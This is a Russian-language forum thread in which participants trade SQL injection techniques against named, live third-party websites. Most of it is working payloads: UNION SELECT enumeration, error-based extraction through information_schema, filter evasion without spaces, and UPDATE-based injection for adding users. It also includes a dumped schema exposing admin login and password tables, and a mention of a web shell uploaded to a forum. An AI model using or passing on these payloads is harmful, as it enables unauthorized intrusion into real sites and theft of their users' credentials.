если ты имеешь ввиду WAF, то смотреть коды возвращаемых ошибок, куки; либо задетектить стандартные правила, характерные для конкретного WAF'a. Если же ты говоришь о том, что непосредственно защищает сам сервер, то порутать его и посмотреть что на нём запущенно. статью прочитать.
Ы, кавычку нужно писать, когда переменная имеет тип string. Чтобы выйти из значения переменной и дописать свой SQL запрос. А когда переменная типа integer - кавычка ни в коем случае не нужна! И еще нужно помнить, что когда переменная типа string мы всегда должны в конце ставить комментарий ( -- ), чтобы убрать лишнюю кавычку, которая осталась.
ну в статьях как бы всё расписано(даже если не написано и ты не можешь понять, то наверно надо изучать не с этого) 1. Ковычка используется при запросах вида "SELECT * FROM table WHERE param='".$_GET['param']."'" ковычкой мы закрываем предыдущую ковычку. Проверить просто: http://www.riviera-crimea.com/detail.php?id=421+and+1=1 - отображает http://www.riviera-crimea.com/detail.php?id=421+and+1=2 - отображает значит мы не влияем на запрос, т. к. мы должны были получить пустой результат 421+and+1=2 (true and false = false) "SELECT * FROM table WHERE param='421 and 1=2'" 2. С кавычкой http://www.riviera-crimea.com/detail.php?id=421'+and+1=1--+ - отображает http://www.riviera-crimea.com/detail.php?id=421'+and+1=2--+ - не отображает значит запрос составлен верно "SELECT * FROM table WHERE param='421' and 1=2--+'" 3. -421 это то вместо чего я использую 421 and 1=2(что как и -421 возвращает пустой запрос и можно вписать свой через union select)
может кто помочь или нет? Code: http://www.maykoplat.ru/index.php?id=1' AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48 # не могу даже название бд узнать
параметры(те что отсылаются при нажатии кнопки "оплата") для поста на корень сайта Code: action=pay&id=213123'+and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+'&email=a%40a.ru&submit_button=%CE%CF%CB%C0%D2%C0 юзается Error-based SQL-Injection, вместо version() подставлять (select 1) или (select group_concat(table_name) from information_schema.tables), ну и так далее
В чем собственно проблема? Вывод в исходнике: Code: www.maykoplat.ru/index.php?id=1'and(1=0)union+select(1),2,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,"\r\n",table_schema,0x2e,table_name,0x3a,column_name))))x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48--+'1 Code: vsemayki_ru.admin_stat:id vsemayki_ru.admin_stat:data vsemayki_ru.admin_stat:name vsemayki_ru.admin_user:ID vsemayki_ru.admin_user:LOGIN vsemayki_ru.admin_user:PASSWORD vsemayki_ru.admin_user:NAME vsemayki_ru.admin_user:EMAIL vsemayki_ru.admin_user:ACTIVE vsemayki_ru.admin_user:DATE_LAST vsemayki_ru.admin_user:ISADMIN vsemayki_ru.admin_user:IP vsemayki_ru.admin_user:stage2 vsemayki_ru.admin_user:stage3 vsemayki_ru.admin_user:stage4 vsemayki_ru.admin_user:stage5 vsemayki_ru.admin_user:stage6 vsemayki_ru.admin_user:stage7 vsemayki_ru.admin_user:stage8 vsemayki_ru.admin_user:stage9 vsemayki_ru.admin_user:stage10 vsemayki_ru.admin_user:stage11 vsemayki_ru.admin_user:stage12 vsemayki_ru.admin_user:stage13 vsemayki_ru.admin_user:stage14 vsemayki_ru.admin_user:stage15 vsemayki_ru.admin_user:stage16 vsemayki_ru.admin_user:stage17 vsemayki_ru.admin_user:stage18 vsemayki_ru.admin_user:sklad vsemayki_ru.admin_user:stage19 vsemayki_ru.admin_user:stages20 vsemayki_ru.admin_user:stages21 vsemayki_ru.admin_user:stages22 vsemayki_ru.admin_user:department vsemayki_ru.admin_user:phone vsemayki_ru.admin_user_login:admin_login_id vsemayki_ru.admin_user_login:parent vsemayki_ru.admin_user_login:datetime vsemayki_ru.admin_user_login:ip vsemayki_ru.admin_user_login:type vsemayki_ru.admin_user_login:succes vsemayki_ru.admin_user_parts:ID vsemayki_ru.admin_user_parts:admin_user vsemayki_ru.admin_user_parts:module vsemayki_ru.admin_user_parts:module_key vsemayki_ru.admin_user_parts:iswrite
Code: 'and(1=0)union(select(1),2,3,4,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),6)# Учи синтаксис запросов!
Логику запроса посмотри, там и без order by легко можно обойтись, а даже если и использовать то конструкция которую ты привел не допустима, на вышеупомянутом сайте идет разделение слов по пробелу и осуществляется поиск по словам, а значит нам нужно составить запрос без пробелов, вариантов много, я предпочел бы order/**/by(NUM)
http://opulent-style.com/view_item.php?id=1+and+substring%28%28SELECT%202%29,1,1%29=1 реально ли такую инъекцию не как слепую крутить? http://opulent-style.com/view_item.php?id=1%20order%20by%202 Unknown column '2' in 'order clause'
SELECT Вложеный в UPDATE. Этот вариант во много раз удобнее обычной инъекции. Вывести информацию можно через ошибку, а при надобности даже заменить её на свою(Добавить пользователя, редактировать новость).
вот пример синтаксиса как можно использовать UPDATE но естественно тебе надо знать какие есть таблици для формирования правельного запроса... и логично что кавычки не должны фильтроваться и слешироваться. а они там слешируются _http://www.opulent-style.com/view_item.php?id=1%27
залил шелл на форум. Когда уже иду по линку шела, он какбы грузится, но вместо файлов ничего нету. Вот пример http://pikucha.ru/i5KrG
Почему обязательно? Можно перевести значения переменных в hex... А так, можно крутить через error based. http://www.opulent-style.com/view_item.php?id=1%20or%20(select%20count(*)from(select%201%20union%20select%202%20union%20select%203)x%20group%20by%20concat(mid((select%20version()),1,64),floor(rand(0)*2)))